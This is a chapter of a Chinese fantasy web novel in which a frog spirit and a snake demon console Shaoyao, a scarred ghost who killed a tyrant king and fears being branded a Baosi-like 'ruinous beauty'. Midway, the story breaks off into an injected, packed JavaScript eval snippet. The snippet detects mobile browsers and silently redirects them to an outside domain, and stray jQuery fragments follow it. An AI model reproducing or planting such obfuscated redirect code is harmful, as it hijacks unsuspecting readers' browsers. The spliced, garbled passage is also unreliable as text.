点燃的火石,迷药,短刀,褒姒……
玄兔再一次醒来时,已经知道她最后的遗憾是什么了。
她拿起刀,用尽全力将王的脑袋砍下来,腥臭的血液溅到她的脸上。
“王已死!”
凄厉的声音从塔尖传向整个国,民众呼喊着,庆祝着。
侍卫群龙无首,早已扔下武器各奔东西,没有粮食的人们爬起来,站起来,用尽所有力气冲向皇宫。
呜呜……
两人终于走出了最后一个幻境,火信阁。女鬼的哭声悲壮不已,中间又带着些许嘶吼,声音在脑子里打着转。
她的头发披散着,长长的拖在地上,身上一袭红衣像要滴出血来。
她慢慢转过头,刚看过右半张脸,还是幻境中的那个倾国倾城的轮廓,只不过有零星疤痕。
慢慢的她整张脸转过来,左脸的皮肤没有一块是完好的,蜷缩在一起成为了炭黑的焦痂。
仔细看时原来她的整个身体都已是被烧伤的状态,微微一动,皮肤就张裂开,流出淡黄色的脓液。
“你们来了啊。”
她的声音不复之前的如丝如缕,沙哑缓缓的吞吐出几个字。
“芍药,辛苦了。”玄兔慢慢走上前,虚虚围抱着她,生怕压到了那些可怕的伤口。
“你们,通过了我的幻境。”一字一字蹦出来,又不知道接下来该说什么,慢慢向角落移动。
“你别怕,我知道你在人间过得很苦。”玄兔后退了几步,给她留出些空间。
“我,我……我不知道,我是一个坏人。”她崩溃地哭着。
“我并不这样觉得,你所处的每一个环境都是对我们来说水深火热的地步,我们作为旁观者,并不能对你指手画脚,你也不是你所想的那种坏人。”佘儒突然出声。
是的,他是一个蛇妖,他最开始只是觉得人类弱小,没有法力生命又短。可他竟然发现人类这短短一生可以做这么多事,他们所遭受苦难也可以用那微弱的力量去抗争。
从在月满楼里学规矩,一直到最后怒杀一国之王,她所遭受的苦难并不少,当时的世道就是如此,人人难以自保,不需要和其他人比较。
“可是,我从小就害了人,春桃她那么好,如果我可以和她一起跑出去,或者一直挽留她,可能她就不会死得那么惨,还有那个皇宫也叫春桃的孩子,也是我害了她。”
玄兔摇了摇头,“不,牡丹当时传授的所有东西确实是对你来说最有利的,在月满楼里,只要不信男人的话,就会保留一条命。
春桃所做的也没有错,她渴望自由,不希望一辈子就待在这个楼里遭人打骂。但你替她出头时,便已有了岔路,一直跟着你也能留下命。
我很敬佩她,因为她一旦留下来,是完完全全将自己的性命捆绑在你的身上。她是开辟天地的勇士,不会为了任何人改变自己的想法。另一个春桃也是如此,敢于斗争,不离不弃。”
“那盼儿,总归是我的错。”
佘儒默默问道:“你会怪巧儿吗?”
“没有,她只是不想死。时承不会杀我,她做的没错。”芍药摇了摇头。
“那既然这样,你为什么不敢原谅自己呢?你与她相识便是你俩的因果,你若是不认识,她可能会被饿死,你认识她会替你出头。那样一家不管你有没有进府,她都可能会看到什么被灭口。”佘儒还是没有办法完全陷入她的思维。
“他的意思是,世事无常,那晚你要是知道,必然会保下她。你也只是担心自己的出身让盼儿遭受非议。你们的相遇是时承算计,妻妾之间相争也是因为时承的冷落。”
“我知道的,我后面才知道。他骗我无名无份的跟着他,就是为了把我献给大王。他说我有能力,有想法,跟着大王可以让国蒸蒸日上。可我每天都看着他寻欢作乐,百姓一天比一天难过。”
佘儒:“所以,桑黄阁的种种是你身居高位对百姓的怜悯。”
“不,是责任。你们还记得那个皮肤皲裂,扑上来的妇人吗?”她闭上眼,好像那个期待的眼神就在她的面前,“当时我只有一个想法,她身苦,我心苦。”
玄兔轻轻握住她的手,“你们都在想办法熬过苦难,是同一信仰不同战场的战士。”
芍药刚止住的泪又流了下来,随即又自暴自弃地捂住自己的脸,“可是,我恨我这张脸。如果可以我不想做什么花魁,人人提到我都说是红颜祸水。”
“芍药,你看着我。”玄兔拉开她的手,双手捧起她的脸,“不管你变成什么样,是幻境的那个你还是现在这个你,我从来不觉得什么是美,什么是丑。”
“依我看来,你的内心更美。”佘儒也想了好久,才憋出来一句话,他没有想过说什么伤心的话,只是他怎么想就说出来了,对人类就需要说一些他们能接受的话。
玄兔转过头温柔地对他笑了笑,“没错,你们不是有一句话说身体发肤受之父母。不管是怎样的容貌,你永远是你,那些因为长相就对你有不同态度的人不是你的良人。”
佘儒:“变成鬼可以维持你任意时刻的身形,不管你用什么容貌,在鬼域里没有鬼会奇怪,你已经是鬼了,不用拘泥于人类的条条框框。退一万步来说,你能留在鬼域没去投胎,就证明你不是一个十恶不赦的罪人。”
“你顶着死前的样子,不肯恢复之前的容貌,是听见了那句褒姒现世吧。”
芍药哇地一声大哭起来,“我,我不想成为褒姒,当然褒姒她也许和我一样,褒姒也不想成为褒姒,我不知道,你能理解吗?”
她语序很乱,玄兔也听明白了她的意思。
“我知道的,天下的兴亡并不会只因为一个人,除了国家的王,那些官员,还有这个国的每一个人。
他把劳民伤财大肆修缮的罪名安在你的头上,将一个朝代的衰败归咎于女子身上,这本来就是世俗的偏见,哪里有什么红颜祸水,说到底还是他们自己作恶多端。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323345|183192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“我只是,时承在月满楼给我讲述了烽火起诸侯的故事,他当时在调笑我这容貌万万不可当了褒姒。我那时还不知道,只是觉得他的话有道理。
他们怎么能把一个国的兴亡安在女子的身上,怎么可以。而我偏偏,就成了这样一个女子。我不是说为了自己的名声,只是我觉得女子在这世上本就艰难,他们却把脏水泼在女子的身上。”
这塔不是她要建的,劳民伤财的借口却从她这里找出,她杀了那个只会贪图享乐的王,到了百姓的口中,她依然是那个褒姒。
褒姒从来不是一个人,而是那些千千万万个可怜女子的处境。后宫无法参政,她们又怎么能够去左右那些君王的想法。
到了后世,那些史书上会怎么编排这些可怜的女子,那些女孩会不会因此愧疚因此退缩,她不敢想,她害怕她会是那个罪人。
“那就改,我无法确认当时他们所说的到底是什么,至少现在我们可以改。我没有从现在的人间听过你的事迹,但我可以将事实传下去。若被逼迫,那就反抗。”
“玉簪,不,大人。如果可以,她也不想被千夫指责。”
“叫我玄兔吧,我会尽力改写你们的故事。我也希望月光可以照在你的身上。”
“多谢你们,我会尽量走出来,月光照在了我的身上,也希望照在别人身上。还有,你们觉得我是以现在这个样子出去,还是以之前的样子。”
她害怕现在这个样子会吓到其他的鬼,又担心这个容貌会给有什么影响。
“按照你心里所想的样子,不必担心,不管是哪个,他们都会接受的。我们俩一只青蛙,一条蛇,在你们人类眼中应该不算得上好看吧。”玄兔眨了眨眼。
芍药还是接受了自己的本来样貌,她想要证明,花朵不必惧怕被折断,“你们的心很美。”
慢慢的,这座星落塔在鬼域就消失了,一精一妖一鬼就站在这个空荡的地上看着远处的繁华。
芍药终于不必用幻境将她层层包裹起来,也不会有哭泣声好哀嚎声。
“小兔子,不错嘛!”殷月身还没到,声已传到,看到佘儒笑脸收了几分,“哟,蛇妖也在呢。刚从总督大人那边过来,说你也想成为鬼使,表现还行吧。”
“大人。”芍药有些害怕,毕竟自己在这里让那些鬼差都很头疼。
“你不必害怕,那些结果也不是你导致的。你若是投胎,因你生前遭受苦难,下辈子会无忧无虑。”
“我想先留在这里,可以吗?”她确实还没有准备好去过下一个人生。
殷月手一指,“可以,蔡大娘负责管理你们,穿过鬼乐苑去找她就可以了。你这一生也算是颠沛流离,他们不会怪你的。你还没有好好在鬼域玩过吧,那里多去转转。”
芍药连连致谢,看他们还要再说一会话,正准备往过走的时候,突然听到殷月的声音。
“对了,你放火烧塔的那一夜他们喊的是
——火神降世。”